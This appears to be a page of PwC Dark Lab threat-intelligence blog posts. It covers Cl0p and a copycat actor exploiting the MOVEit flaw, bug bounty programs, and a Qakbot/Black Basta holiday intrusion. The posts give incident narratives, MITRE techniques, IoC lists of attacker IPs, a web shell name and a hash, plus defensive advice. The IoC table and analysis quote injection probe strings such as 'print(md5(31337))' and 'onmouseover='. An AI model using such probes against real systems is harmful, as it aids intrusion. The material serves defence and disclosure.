Data Exfiltration

MOVEit Cl0p, You’re Not the Only One

In Q3 2023, PwC’s Dark Lab responded to two incidents derived from exploitation of the zero-day vulnerability in Progress’ MOVEit File Transfer solution. Whilst exploitation of the zero-day is widely associated with Cl0p, deeper inspection of our second incident indicated another player was at hand.

PwC’s Dark Lab have been closely monitoring the mass exploitation of the MOVEit file transfer solution, responding to numerous incidents initiated via exploitation of the zero-day MOVEit Transfer and Cloud vulnerability, CVE-2023-34362. The mass exploitation has been widely associated with the Cl0p Ransomware-as-a-Service (RaaS) group, due to their discovery of the zero-day and large-scale, opportunistic campaign impacting over 260 as of 1 August 2023. However, per our incident experience, we observe other malicious actors opportunistically leverage publicly available Proof-of-Concepts (PoCs) to infiltrate vulnerable MOVEit victims.

We release this blog post concurrent to Cl0p’s ongoing campaign to highlight PwC Dark Lab’s key observations through our incident experience across two MOVEit-related incidents, the first attributed to a Cl0p RaaS, and the second highlighting the opportunistic exploitation by other, less sophisticated cybercriminal actors.

Case Study 1: Cl0p’s Mass Exploitation of the MOVEit Zero-Day

In the incident responded to by PwC’s Dark Lab, a Cl0p affiliate conducted a single extortion attack, exploiting CVE-2023-34362 and subsequently exfiltrate data directly from the MOVEit file transfer server over a 24-hour period of the initial infiltration. Based on our continuous monitoring of Cl0p’s campaign and their evolving techniques, we posit that the group’s next mass-exploitation campaign will remain significant in scale and speed, though will further enhance in sophistication as the group leverages the learnings from their ongoing campaign to improve operational efficiency by exploring means to better categorise compromised data.

The MOVEit File Transfer zero-day SQL injection vulnerability (CVE-2023-34362) has been actively exploited by the Cl0p Ransomware-as-a-Service (RaaS) group since at least 27 May 2023 to deploy the human2.aspx web shell and subsequently exfiltrate data from the compromised MOVEit server.[1]

Based on our incident experience in alignment with open source intelligence, we observed in alignment with open source intelligence (OSINT) that Cl0p’s MOVEit campaign to follow the following kill chain:

**Figure 1: Cl0p’s Known Attack Path for the MOVEit Campaign**

Initial Access

The malicious actor exploited CVE-2023-34362 to bypass authentication and successfully infiltrate the compromised MOVEit server. This is evident by the malicious actor’s activities to deploy and use a web shell to interact with the systems from the external network. Through analysis of the inbound IP addresses, we observed (5.252.189[.]0/24 and 5.252.190[.]0/24) to have a known association with the Cl0p RaaS.[2]

Privilege Escalation

Post-infiltration, the affiliate was observed to leverage the web shell to access the stored data in the application database of MOVEit application, and eventually obtained a privileged administrator account.

Persistence and Execution

Consistent with open source reporting of the Cl0p MOVEit campaign, the Cl0p affiliate deployed the human2.aspx web shell on the compromised MOVEit system.

Collection and Exfiltration

Less than twenty minutes after the web shell deployment, the privileged admin account was leveraged to download data from the MOVEit server. Concurrently, a spike in outbound network traffic was detected at the perimeter firewall. Through data exfiltration analysis of the firewall logs, our incident responders ascertained the file size and nature of files (e.g. file name and extension), validating the spike to be indicative of the time of Cl0p’s data exfiltration to an external IP address.

Impact

Approximately two weeks after the data exfiltration, the victim was listed on Cl0p’s dedicated leak site “Cl0p^_LEAKS”, with compromised data leaked twelve (12) days after the victim was published. This contradicts Cl0p’s announcement post, as per Step 6, the group state “After 7 days all your data will start to be publication”.

Cl0p’s Victimology and Data Leakage Trends

**Figure 3: Trendline of Cl0p’s Victim Listing on their Cl0p^_LEAKS Site**

As of 1 August 2023, we observed:

262 victims listed (15 removed, potentially indicative of the victim’s compliance with Cl0p’s demands)
Of the 262 victims, 94% had their data posted by Cl0p on their dedicated victim pages, with approximately 6% of those victims experiencing multiple leaks – up to six (6) parts
Cl0p repeatedly deviated from their self-assigned 7-day deadline – for example, on 11 July it was observed that three victims newly listed on 10 July had already experienced their data leaked. This is in contrast to the incident responded to by PwC’s Dark Lab whereby data leakage occurred twelve (12) days after the initial victim leaking, suggesting they likely encountered challenges with the large amount of data concurrently received in a short time frame, and hence may have experienced backlogs in sifting through and identifying meaningful compromises.
From 10 July, we observed Cl0p update their dedicated victim pages, adding a new section ‘Some secret information files’, inclusive of screenshots compromised files allegedly obtained via their exploitation of the MOVEit vulnerability. This indicates Cl0p’s adaptive nature, likely as an attempt to apply added pressure to victims to entice them to meet ransom demands.

**Figure 4: New ‘Some secret information files’ Section Added to Victim’s Dedicated Leak Pages**

Based on the victimology of Cl0p’s ongoing MOVEit campaign, we assess their targeting to be opportunistic in nature, as reflected in the distribution of victims across multiple sectors and geographies. However, we observe approximately 65% of total disclosed victims are based in the United States which is consistent with OSINT location distribution of MOVEit servers observed via passive scanning, the United States makes up approximately 72% of total Internet-facing MOVEit instances.

Whilst likely opportunistic, we also observe a potential alignment to trends that RaaS groups with Russian-links are electing to target Western-allied nations. Though RaaS groups and cybercriminals are opportunistic in nature, heightened targeting of Western-allied nations in 2023 suggest the impact of the war and allegiance potentially plays a role in their actions. As such, Cl0p may have intentionally shortlisted the MOVEit file transfer solution for their mass exploitation campaign based on the location distribution of MOVEit servers, observing the solution to be predominantly leveraged in Western-allied nations.

**Figure 5: Cl0p’s Victim Distribution – Top 5 Countries**

Further, it should be noted that this campaign is not the first instance of Cl0p targeting file transfer solutions. In February 2023, Cl0p was also responsible for the mass automated exploitation of a previous zero-day vulnerability within a third-party file transfer product, Fotra’s GoAnywhere Managed File Transfer (CVE-2023-0669).[3]Prior to this, the threat actor also claimed responsibility for another mass exploitation of another file transfer software in the form of multiple CVEs impacting Accellion File Transfer Application in 2020.[4] Given Cl0p’s historic targeting of file transfer software, and consistencies observed across campaigns, we posit that Cl0p will continue to opportunistically seek and exploit zero-day vulnerabilities in file transfer solutions, given their storage of sensitive information.

Furthermore, we observe via OSINT that multiple organisations were compromised by Cl0p despite not leveraging the MOVEit File Transfer solution in downstream attacks following the compromise of their third-party contractors’ MOVEit application.[5] This highlights the impact of third-party risks, as we observe via our incident experience and OSINT that threat actors are continuously seeking opportunities to expand their victim targeting to maximise efforts (e.g. infiltrating new victims via compromised valid vendor accounts).

Case Study 2: Not the Only Player Making Moves

As hypothesised in our Forecast of the Cyber Threat Landscape blog post[6], we observe via in this incident as well as our continuous monitoring of zero-days and actively exploited vulnerabilities, that threat actors are rapidly weaponising Proof-of-Concepts (PoC) and exploit codes upon their availability to compromise temporarily vulnerable systems.

Upon the release of a PoC for CVE-2023-34362, PwC’s Dark Lab hypothesised that the vulnerability would swiftly be exploited by other opportunistic threat actors, given the ease of exploitation and ability for an unauthorised remote attacker to gain unauthorised access to potentially sensitive information stored in the vulnerable MOVEit instances. This was observed in a second incident responded to by PwC’s Dark Lab, which displayed multiple inconsistencies with Cl0p’s typical attack path.

In this incident, the victim’s MOVEit servers were subject to vulnerability scanning by a suspected Cl0p affiliate, based on the use of IP addresses with known association with the Cl0p RaaS group. However, no further actions were observed to be conducted by the Cl0p affiliate following their exploitation attempts (e.g. no web shell deployment or data exfiltration).

Two weeks later, a separate malicious actor (46.3.199[.]72) was observed to perform brute-forcing and argument fuzzing to attempt exploitation against the victim’s MOVEit servers. Post-exploitation of CVE-2023-34362, the threat actor performed unauthorised account and folder creation, shortly followed by folder and account deletion, but was unable to deploy malware or proceed with their attack.

Based on our investigation of the available logs and comparison against Cl0p’s known known attack path per our first incident and also aligned with the OSINT described in the overview, we assessed with high confidence that the incident was performed by an unsophisticated financially-motivated cybercriminal actor executed the cyber-attack against the victim using a publicly available PoC.

To validate our hypothesis and remove potential biases, we leveraged the Richard Heuer’s Analysis of Competing Hypotheses (ACH) methodology.[7]

Evidence	Description Related to Incident	Credibility	Relevance	Evidence Type	H1 – Cl0p affiliate that is financially motivated	H2 – A sophisticated threat actor motivated by political or social cause	H3 – An unsophisticated financially-motivated cybercriminal actor
Use of MOVEit Transfer SQL Injection Vulnerability (CVE-2023-34362)	We observed via review of the IIS logs that this vulnerability was leveraged to achieve initial access.	High	High	Secondary	Consistent	Consistent	Consistent
MOVEit Transfer vulnerabilities are relatively easy to weaponize given publicly available Proof of Concepts (PoCs)	We observed via OSINT the availability of multiple PoCs, indicative that threat actors are weaponizing the exploit. Whilst we did not attempt to validate the effectiveness of the PoCs, the fact there are POCs available on the open source suggests that threat actors of lowered capability can weaponize it.	High	Medium	Dark Lab Assessment	Consistent	Consistent	Consistent
IP address 46.3.199[.]72 and its related IP addresses are related to Cl0p and affiliates	We observed that the IP addressed utilized to achieve successful initial access was not attributed to Cl0p affiliates, based on various OSINT reports.	Medium	High	Primary	Inconsistent	Inconsistent	Consistent
Capability to perform SQL injection	We observed via review of the IIS logs that the threat actor had sought to perform SQL injection.	Medium	Medium	Primary	Consistent	Consistent	Consistent
Use of automated tools within Burp Suite (e.g., Repeater) that indicates brute forcing, fuzzing and crawling	We observed from reviewing the IIS logs that the threat actor had likely leveraged Burp Suite to perform standard SQL injections. This is based on the review of production server’s IIS logs in which we observed the User-Agent content to be similar to Burp Suite’s Repeater feature.[8] Meanwhile, review of the testing database logs revealed that the threat actor performed around 800 actions within a short timeframe of 40 minutes, with some just 0 or 1 seconds apart, with parameters such as “onmouseover=“ and “print(md5(31337))” being observed. These are commonly observed attacks for SQL injection and/or cross site scripting[9] being performed using Burp Suite.[10] The performance of multiple actions in an accelerated manner with parameter contents that are generic in nature provided us with evidence that there was automated tools such as Burp Suite and potentially open source scripts[11] leveraged to perform these malicious activities.	Medium	Medium	Dark Lab Assessment	Not Applicable	Inconsistent	Consistent
No evidence of lateral movement that is consistent with Cl0p’s MOVEit campaign	We have not observed from the generic attack path by Cl0p RaaS affiliates that there would be lateral movement in victims’ environments.	High	High	Primary	Consistent	Inconsistent	Inconsistent
No evidence of data exfiltration	We have not observed any data exfiltration based on our DFIR investigations and continued review of the Cl0p leak site.	High	High	Dark Lab Assessment	Inconsistent	Inconsistent	Consistent
Victim was listed on Cl0p’s leak site as of the time of investigation	Through our continuous monitoring of the Cl0p leak site, we observed that victims continue to be listed up to two (2) months after the original SQL Injection vulnerability (CVE-2023-34362) was disclosed. Given the lengthy time from exploitation to date, combined with the lack of data exfiltration during our investigation, we conclude that this behaviour is largely inconsistent with a Cl0p affiliate.	High	High	Secondary	Inconsistent	Not Applicable	Not Applicable

Conclusion

Cl0p’s mass exploitation of the MOVEit zero-day represents the continuous evolution of the cyber threat landscape and the increasing sophistication of financially-motivated cybercriminals. Per our 2023 Forecast of the Cyber Threat Landscape blog post[12], cybercriminals are weaponising exploits at an increasingly fast rate and scale to bypass heightened controls. This is reflected in the sheer volume of zero-days exploited in 2023 thus far, with 54 zero-day vulnerabilities discovered between 1 January 2023 and 1 August 2023 alone, compared to 52 zero-days discovered during 2022.[13] However, whilst exploits are happening faster – as predicted – and threat actors persist with single extortion attacks for speed, we observe through Cl0p’s campaign that they are largely relying on manpower to sift through troves of data at the time of writing, which may cause operational backlog. We posit that Cl0p will improve this aspect in future exploitation, possibly through data classification or generative artificial intelligence (AI).

Further, we posit that Cl0p will continue to target Internet-facing web applications with mass file transfer capabilities, following two widely-reported incidents regarding GoAnywhere MFT and MOVEit File Transfer systems.As a result, it is critical that organisations proactively identify their Internet-facing web applications with such features and apply the necessary hardening measures to limit the impact of potential incidents.

As organisations increasingly harden their security posture, malicious actors are ramping their speed of exploitation to capitalise on their momentary vulnerability susceptibility until a patch is deployed. This places increasing pressure on organisations to enforce stringent preventive and detective controls to provide a layered defense to counter exploitation attempts by malicious actors and minimise the threat of supply chain risks.

Recommendations

Preventive

Organisations should identify Internet-facing web applications with such features and perform the necessary hardening (e.g., MFA, privilege rights management, file encryption, remediation against findings from OWASP Top 10 testing) to limit the impact of potential incidents.
Harden Internet-facing web applications with file transfer capabilities – including tightening access controls, file encryption, and remediations against findings from the OWASP Top 10 Web Application Security Risks.[14]
Enhance access controls to file transfer solutions such as MOVEit to restrict unauthorised users from obtaining access to critical information. This may include,
- Enabling multi-factor authentication (MFA) for file transfer solutions.
- Reducing the exposure of file transfer solutions (e.g. disable HTTP/S connections, or restricting access to only necessary endpoints).
- Reviewing and enhancing privileged access permissions to restrict and limit users accessing the systems (e.g. geofencing to restrict administrative access from only authorised geolocations).
- Tightening outbound traffic rules to restrict cross-country network traffic and unsolicited destinations, to further minimise the risk of unauthorised data exfiltration.
- Applying heightened access controls and segment critical infrastructure from the internal network.
Ensure your patch management program includes procedures to escalate patching of critical vulnerabilities or appropriate temporary measures to mitigate your susceptibility to exploitation until the official patch can be applied.
Regularly review perimeter network firewall rules and application controls to reduce service exposure to the Internet.
Periodically perform simulation testing (e.g. red team or purple team exercise) to identify potential enhancement areas to further harden your organisation’s cybersecurity posture and reduce your attack surface exposure.

Detective

Leverage an Endpoint Detection & Response (EDR) solution capable of detecting advanced techniques at a host-based status, as well as ingestion of other threat intelligence signatures.
Ensure detection signatures for firewall and anti-virus solution(s) are maintained up-to-date, with ingestion of other threat intelligence signatures.
Consider implementation of a File Integrity Monitoring (FIM) solution on backend servers (e.g. IIS) to monitor for anomalous file modification activity (e.g. file creation, modification, or deletion).
Conduct a search of historical logs to detect for any potential presence in your network environment, ensuring that an alert system is established should any indicators be identified. If any indicators are discovered, it is advised that a digital forensic investigation is conducted to identify the potentially foregone impact, including the compromised information and systems, and apply the appropriate containment and remediation measures.

MITRE ATT&CK TTPs Leveraged

We include the observed MITRE ATT&CK tactics and techniques from the two incidents:

Case Study 1: Cl0p RaaS Affiliate

T1595 – Active Scanning
T1190 – Exploit Public-Facing Application
T1136 – Create Account
T1505.003 – Server Software Component: Web Shell
T1068 – Exploitation for Privilege Escalation
T1078 – Valid Accounts
T1567 – Exfiltration Over Web Service

Case Study 2: Unsophisticated, Financially-Motivated Cybercriminal

T1595 – Active Scanning
T1190 – Exploit Public-Facing Application
T1136 – Create Account
T1565 – Data Manipulation

Indicators of Compromise (IoCs)

Case Study 1: Cl0p RaaS Affiliate

IoC	Type
5.252.189.106	Cl0p IP address used for exploitation files
5.252.189.170	Cl0p IP address used for exploitation files
5.252.190.40	Cl0p IP address used for exploitation files
5.252.189.98	Cl0p IP address used for exploitation files
5.252.190.111	Cl0p IP address used for exploitation files
5.252.190.159	Cl0p IP address used for exploitation files
5.252.190.65	Cl0p IP address used for exploitation files
5.252.190.132	Cl0p IP address used for exploitation files
5.252.190.33	Cl0p IP address used for exploitation files
5.252.189.192	Cl0p IP address used for exploitation files
5.252.191.19	Cl0p IP address used for exploitation files
5.252.190.201	Cl0p IP address used for exploitation files
5.252.189.120	Cl0p IP address used for exploitation files
5.252.189.137	Cl0p IP address used for exploitation files
185.162.128.109	IP address used for download files
Human2.aspx	Web shell

Case Study 2: Unsophisticated, Financially-Motivated Cybercriminal

IoC	Type
5.252.189[.]75	Cl0p IOC IP address
5.252.190[.]54	Cl0p IOC IP address
5.252.190[.]71	Cl0p IOC IP address
5.252.191[.]52	Cl0p IOC IP address
5.252.191[.]68	Cl0p IOC IP address
46.3.199[.]72	Threat actor IP address
wrbeirqx	Account created on MOVEit testing and production database
xfs.bxss.me	Account created on MOVEit testing database
print(md5(31337))	Command potentially indicating attempted SQL injections or cross site scripting using Burp Suite

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Bug Bounty Programs – a Public Good that is a Necessity for Corporates, SMEs, and Individuals Alike

Posted on April 24 by darklabhk

As the cyber threat landscape continues to evolve and threat actors increasingly target vulnerable external-facing assets, bug bounties present organizations with an opportunity to proactively identify and remediate vulnerabilities before they can be exploited by attackers.

In today’s digital age, cyber threats have become increasingly prevalent, and enterprises are struggling to keep up with the pace of these threats. This is evident in the number of disclosed vulnerabilities and identified zero-days. For example, the number of vulnerabilities increased from 20,171 in 2021 to 25,227 in 2022, which represented a growth rate of 25 percent [1]; meanwhile, there were 80 zero-days exploited in the wild in 2021, which is more than double the previous record volume in 2019. [2] These statistics indicate that the traditional methods of cybersecurity are no longer sufficient to protect businesses from evolving cyber-attacks.

As a result, bug bounty programs have become increasingly popular as a way for organizations to identify and remediate vulnerabilities in their systems. These programs offer organizations the opportunity to leverage the skills of the global cybersecurity community to identify vulnerabilities in their systems and applications. PwC’s Dark Lab explores the benefits of bug bounty programs, along with the potential roadblocks that hinders its wide-scale implementation, and proposes potential solutions that reduces the barriers to entry such that enterprises can leverage it is a viable business risk management strategy to tackle the dynamic cyber risk landscape.

Bug Bounty Programs – An Overview

A bug bounty programme allows organizations to define and scope a program where security researchers are allowed to try to identify security vulnerabilities – often within a subset of the organisation’s technical infrastructure – in exchange for financial or non-financial ‘bounties’ for successfully validated vulnerabilities. Bug bounty programs were introduced by NetScape in 1995, though have evolved significantly since then. [3] Today, there are multiple bug bounty platforms and services available that provide organizations with a streamlined way to engage with the cybersecurity community, including HackerOne, BugCrowd, and YesWeHack. One notable example of a successful bug bounty program is the Microsoft Bug Bounty Program, in which US$13.7 million to more than 330 security researchers across 46 countries in 2021. [4]

Governments have also recognized the importance of bug bounty programs in strengthening their nation’s cybersecurity posture. For example, review of 2018 Cybersecurity Act Paragraph 5 suggests that service providers providing traditional cybersecurity assessment services (e.g., vulnerability scan or penetration test) must first obtain a license [5], whereas companies providing bug bounty platforms and/or services are exempted [6], implies that the Ministry of Communications and Information (MCI) and the Cyber Security Agency of Singapore (CSA) regards bug bounty programs in higher esteem – more of a public good as it underscores a greater value brought to society.

Issues Faced by Bug Bounty Programs

Despite the growth of bug bounty programs, there are still market barriers that prevent the public good from being consumed. One major issue is the pricing of the vulnerability, given vendors determine the value of a bug. The lack of a “free market” in which security researchers are not properly incentivized leads to a “tragedy of the commons” situation, in which they seek for a greater economic reward of their proof-of-concepts in alternate markets, such as the dark web or to established threat actors. The pricing misalignment is compounded by the lack of legal protection and standardized guidance for security researchers to identify and disclose vulnerabilities, which further makes it less likely for them to obtain a payout due to the plethora of grey areas which may inadvertently lead to potential punishment. [7] This is also not helped by poor communication in certain cases, where there is a lack of criteria or requirements on the compensating schemes, restrictions and limitations, and handling of duplicated reports. [8]

Meanwhile, not all hackers are not motivated by money. For example, espionage threat actors are looking for information, and hence no amount of financial incentive would lead to them disclosing and/or monetizing their zero days. [9] And in general, most researchers are motivated by more than one or a combination of factors and motivations, such as prestige or to advance their career, for the challenge or to have fun, or for other ethical or ideological reasons, so it is not feasible to focus solely on financial incentives. [10] Meanwhile, bug bounty programs were also meant to address the lack of a large number of skilled and qualified security researchers who know how to “hack to earn” by crowdsourcing vulnerability identification; this continues to be an issue despite bug bounty programs being in place for over 25 years. [11]

How to Address those Issues?

There are several ways to fix the potential problems surrounding bug bounty programs. One solution is to have an independent platform that connects security researchers with organizations, similar to Uber. This platform would allow for rewards to be based on an amount that can be auctioned at the right price, with the oversight of the technology owner. This platform should connect the right level of talent with the right buyer, such that they can align on their incentives.

Another solution is to enhance legal frameworks, similar to what Singapore has done, to recognize the importance of bug bounty programs and to have certified or accredited personnel to perform this task. The legal framework should mandate companies to implement and operationalize a vulnerability disclosure policy (VDP) to provide straightforward guidelines for the cybersecurity research community and members of the general public on conducting good faith vulnerability discovery activities directed at public facing and/or internal applications and services. This VDP also instructs researchers on how to submit discovered vulnerabilities, impacted security vendor(s) (if applicable), and other relevant parties (where applicable) ethically and in a safe manner, with clear guidelines on how to disclose such vulnerabilities.

Finally, there needs to be an investment in talent development to ensure that there is a sufficient number of skilled and qualified security researchers who know how to “hack to earn” by finding vulnerabilities in the first place. Ideally, the legal framework should also mandate the need for security researchers to attain certifications and accreditations with practical elements. That would have a positive downstream impact on investment in cybersecurity education and training, thereby establishing a healthy pipeline of skilled cybersecurity professionals who can join bug bounty programs.

Conclusion

Despite the challenges, bug bounty programs offer significant benefits to organizations looking to strengthen their cybersecurity posture. By reducing the barriers to entry, bug bounty programs can be used as an effective business risk management strategy. In addition, the success of bug bounty programs may lead to the potential rise and fall of other connected markets. This includes the potential drop-off of cyber insurance as security researchers would look to profit in legal markets rather than parallel markets like the dark web, or the reduction in traditional vulnerability assessment and penetration testing services as bug bounty programs are continuously run. Meanwhile, new service offerings such as talent development may arise to ensure there is a greater demand of security researchers to meet the increased desire to identify and “supply” vulnerabilities. We expect the adoption of bug bounties in Hong Kong and globally to pick up in the next five years, as it is a cost-effective way to improve cybersecurity through crowdsourcing to qualified security researchers with diverse backgrounds and varying degrees of experience.

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Secure Your Holidays: The Case of Qakbot and Black Basta

Posted on March 10 by darklabhk

On the eve of Christmas, a suspected Black Basta affiliate conducted a ‘quick and dirty’ attack on a global client, lending insight into the opportunistic targeting of victims during holiday downtime periods.

The Significance of Dates

The holidays are a time for rest and rejuvenation for most. But for attackers, the holidays present a timely opportunity to exploit weakened security postures for a higher likelihood of successful intrusion. Attackers have been consistently observed to exploit the predictable patterns of organisations’ limited cyber preparedness during holiday seasons, largely driven by the shortage of personnel and lack appropriate response preparation measures, to achieve a ‘quick and dirty’ infiltration. Beyond opportunistic exploitation of weakened defences during the holidays, attackers are observed to conduct targeted attacks on dates of significance (e.g., political, religious, historical, legal dates of importance) as a means of taking a stance on a divisive topic or sending a clear message. In certain incidents, the date of intrusion attempts can provide a valuable indicator into the motivations and intentions of the threat actor behind the attack.

PwC’s Dark Lab have continuously observed the trend of increased incidents surrounding major holidays and dates of significance (e.g., Christmas, Chinese New Year, etc.), including our recent incident featuring the Qakbot banking trojan and attributed to the Black Basta ransomware-as-a-service (RaaS) group.

Initial Access: Conversation Hijacked

The incident was initiated by a phishing email disguised as a customer request to deliver the Qakbot banking trojan malware. Notably, the threat actor leveraged an old email thread dating back to January 2020 to the victim’s shared mailbox, as a means of leveraging an existing conversation with established trust to exhibit legitimacy.

We purposely do not disclose the email in this blog as the original mail sender is legitimate and was likely compromised. It was discovered via open source intelligence (OSINT) that the legitimate sender emails leveraged by the affiliate were potentially harvested during the 2021 ProxyLogon-related compromises that targeted vulnerable Microsoft Exchange Servers to perform thread hijacking, whereby attackers harvest legitimate emails to launch targeted phishing campaigns against previously uncompromised organisations. [1] The following key indicators were observed, validating our hypothesis that thread hijacking was conducted;

(1) Phishing emails were likely sent from a spoofed sender address, as evidenced by the SoftFail Sender Policy Framework (SPF) record indicating that the IP address may or may not be authorised to send from the domains. An SPF record facilitates spoofed email prevention and anti-spam control and acts as a filter to assess the authenticity of an email. A SPF soft fail occurs when an unauthorised sender email is received and quarantined in the victim’s spam folder, flagging the email as potentially suspicious. [2]
(2) The spear phishing link directed to the domain osiwa[.]org, which has been flagged by the community twice in 2023 to be malicious and associated with Qakbot. [3] As at the time of the incident, the phishing link displayed a HTTP status code 404, though we observed osiwa[.]org was scanned up to eight times between 1 December 2022 and 2 March 2023, potentially indicating that a number of other organisations had received a similar malicious link directing them to download the Qakbot malware.
(3) The affiliate performed partial scrubbing of the email header information during construction of their malicious email to remove content that does not align with their malicious content.
(4) Prior to the malicious email in Q4 2022, the last email in the thread was observed from 2020, indicating that the email was likely harvested as a result of the 2021 ProxyLogon mass exploitation for the purpose of thread hijacking.

Our analysis into the known-bad IP addresses reveal that six (6) of them – 24.69.84[.]237, 50.67.17[.]92, 70.51.136[.]204, 149.74.159[.]67, 38.166.221[.]92, and 173.76.49[.]61 – have been flagged by the community as associated with Qakbot campaigns in the past.

In addition, a seventh IP address observed in the incident – 108.62.118[.]131 – has been reported to direct to a Cobalt Strike C2 Server. This IP has further been flagged on social media in multiple occasions to resolve to various malicious URLs registered via Namecheap. [4],[5] This, along with the fact that the ASN 30633 was LEASEWEB, are suspicious indicators suggesting it was a throwaway infrastructure potentially being deployed for malicious use.

Upon clicking on the phishing link, the malicious ZIP file was downloaded, and the victim unsuspectingly opened the file, initiating the execution phase. Post-infiltration, the victim’s endpoint detection alerted a potentially suspicious connection associated with FIN7’s (also known as Carbanak) C2 infrastructure. This observation enabled PwC’s Dark Lab analysts to discover that custom toolkits exclusively utilized by the Black Basta ransomware group have overlapping technical characteristics with FIN7, with further evidence to suggest that the custom tools leveraged by Black Basta may have potentially been developed by FIN7’s malware developers. [6] Further, given that Black Basta is widely recognized to leverage Qakbot for initial access in their campaigns, we posit with high confidence that the attack was conducted by a Black Basta affiliate.

*Figure: Screenshot of our VirusTotal pivoting that attributed six IP addresses that were observed in your environment to be associated with Qakbot banking trojan.*

Ransomware-as-a-Service Group Behind the Attack: Black Basta

Black Basta is a Russian-speaking ransomware group that operates as a Ransomware-as-a-Service (RaaS) affiliate network. First observed in early 2022, Black Basta is an evolution of the Conti ransomware, offering both Windows and Linux ransomware variants and known to perform double extortion – data encryption and listing stolen data on their leak site unless ransom demands are met. [7] To date, the group have been observed to compromise at least 193 victims across geographies and industries, as listed on their data leak site. Observations of Black Basta’s targeting history indicates no specific targeting against industries, reinforcing the group’s opportunistic nature financially driven motives.

Escalating Privileges

Post-infiltration via Qakbot, the suspected Black Basta affiliate established a call back connection to their C2 server and subsequently performed credential dumping to successfully obtain administrator access on the victim’s Domain Controller server.

Establishing Persistence and Lateral Movement

The affiliate proceeded to implant multiple backdoors to and leveraged domain administrator privileges to perform remote desktop protocol (RDP) via a PowerShell payload execution to establish persistence, gain remote control of the compromised hosts and laterally move across environments. Notably, we observed that the affiliate was capable of performing a cross-domain attack, compromising victims across geographical regions.

Defense Evasion

To evade detection, the threat actor disabled the Wazuh agent, an open-source security monitoring solution commonly leveraged by enterprise users as their Extended Detection and Response (XDR) and Security Information and Event Management (SIEM) logging platform.

Impact

Once defences were impaired, the affiliate proceeded to deploy the Black Basta ransomware on compromised environments by abusing rundll32.exe to stealthily execute the ransomware via proxy execution. In one instance, the actor was observed to utilise Secure File Transfer Protocol (SFTP) to exfiltrate data from the compromised server to a cloud-hosted server on Digital Ocean (142.93.198[.]225), though no compromised victim data was observed to be listed on Black Basta’s leak site.

As with all RaaS leak sites, we are unable to ascertain if the threat actor lists all their victims on their leak site. Though, per our experience, this is unlikely for a variety of reasons. Per our analysis of the Black Basta leak site, we noted that zero and partial (e.g. 30%) of complete publishing of data is possible. While there is no way to effectively prove the disclosed percentage of leakage, this suggests that Black Basta may choose to leak data in phases as part of their double extortion technique.

Meanwhile, anecdotal analysis of the published victims listed on the leak site indicates that previous victims that publicly announced the breach had a lead time of between one to three weeks prior to being listed on Black Basta’s leak site. While we do not have evidence to suggest that certain victims may not be listed, we assess the likelihood of Black Basta leaking data of undisclosed victims beyond the three-week period to be relatively lower, though not impossible given our previous experience with RaaS groups and cybercriminals.

Conclusion

Based on the findings of our investigation, PwC’s Dark Lab posits with high confidence that an affiliate of the Black Basta ransomware cybercriminal group were likely behind the incident. The incident was observed to take place within a short timeframe, with malicious actor(s) infiltrating the victim’s environment and subsequently escalating privileges on day one of the attack, followed by lateral movement, ransomware execution, and data exfiltration on day two. Given the timeliness of the incident, we posit the attacker intentionally targeted the victim during the holiday period under the assumption that the victim had limited capacity to detect and respond to their attack.

Recommendations

As RaaS groups continuously persist and evolve their attack vectors, it is vital that organisations implement robust, layered defence strategies based on the concept of zero trust.

Develop and maintain a contingency plan for holiday periods with expected limitations of manpower and capacity, ensuring allocated on-call members are regularly briefed on the incident response measures in case of attack
Implement a zero-trust security architecture to limit the likelihood of successful intrusion and/or containment of potentially impending attacks
Enhance email security controls (e.g., anti-phishing controls, sandbox analysis, etc.) on email security gateways and network devices (including external firewalls, web proxies)
Educate your employees, particularly those in roles that regularly interact with unknown senders (e.g., sales, customer service, human resources, finance, etc.) of the potential indicators to identify and report potential email thread hijacking attempts (e.g., spoofed senders, old email threads, partially scrubbed email addresses, malformed replies, repetitive use of the same harvested legitimate email, etc.).
Maintain “tertiary” offline backups (i.e., tertiary backup) that are encrypted and immutable (i.e., cannot be altered or deleted). This should be atop of your existing secondary data backups that should adopt security best practices, in particular network segmentation with your production and/or primary site
Perform a review of access management with respect to identity and network access (e.g., removal of legacy and unused accounts, housekeeping of privileges for all accounts, and enforce network segmentation to tighten access to key servers)
Enforce network segmentation, including identity segmentation in line with zero trust policies to restrict access based on identities, to reduce your attack surface and contain the potential impact of a ransomware attack

MITRE ATT&CK TTPs Leveraged

We include the observed MITRE ATT&CK tactics and techniques elaborated from part one of the blogpost. We will expand this list as we deep-dive into the affiliates’ TTPs as observed from our incident response experience in Q1 2022.

T1588.001 Obtain Capabilities: Malware
T1586 Compromise Accounts: Email Accounts
T1566.002 Phishing: Spear Phishing Link
T1199 Trusted Relationship
T1059.001 Command and Scripting Interpreter: PowerShell
T1204 User Execution
T1078.002 Valid Accounts: Domain Accounts
T1562.001 Impair Defenses: Disable or Modify Tools
T1021.002 Remote Services: SMB/Windows Admin Shares
T1428 Exploitation of Remote Services
T1003.006 OS Credential Dumping: DCSync
T1572 Protocol Tunneling
T1071 Application Layer Protocol: Cobalt Strike Beacon
T1041 Exfiltration Over C2 Channel
T1486 Data Encrypted for Impact

Indicators of Compromise (IoCs)

We include the observed IoCs in our encounter with Qakbot and Black Basta.

Indicator	File Type
`37bf163c9a37e27cdbb8c5db31457063`	Malicious Compiled Script (DLL)
`142.93.198[.]225`	IP Address – Resolving to Digital Ocean
`50.67.17[.]92`	Known-Bad IP – Associated with Qakbot Campaigns
`149.74.159[.]67`	Known-Bad IP – Associated with Qakbot Campaigns
`24.69.84[.]237`	Known-Bad IP – Associated with Qakbot Campaigns
`70.51.136[.]204`	Known-Bad IP – Associated with Qakbot Campaigns
`38.166.221[.]92`	Known-Bad IP – Associated with Qakbot Campaigns
`108.62.118[.]131`	Known-Bad IP – Cobalt Strike C2 Server
`173.76.49[.]61`	Known-Bad IP – Associated with Qakbot Campaigns
`23.106.223[.]214`	C2 IP

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Forecasting the Cyber Threat Landscape: What to Expect in 2023

Posted on January 16 by darklabhk

In a blink of an eye, 2023 is upon us. As we bid farewell to another record-breaking year of increased disclosed vulnerabilities, ransomware incidents, phishing scams, data breaches, and crypto heists, it is hard not to imagine that this year will be any less eventful as threat actors aggressively lower the barriers to entry of “cybercriminalism” by crowdsourcing their tasks. Based on PwC Dark Lab’s observations throughout 2022, we share our assessment of the potentially most prevalent threats and potential trends in the upcoming year.

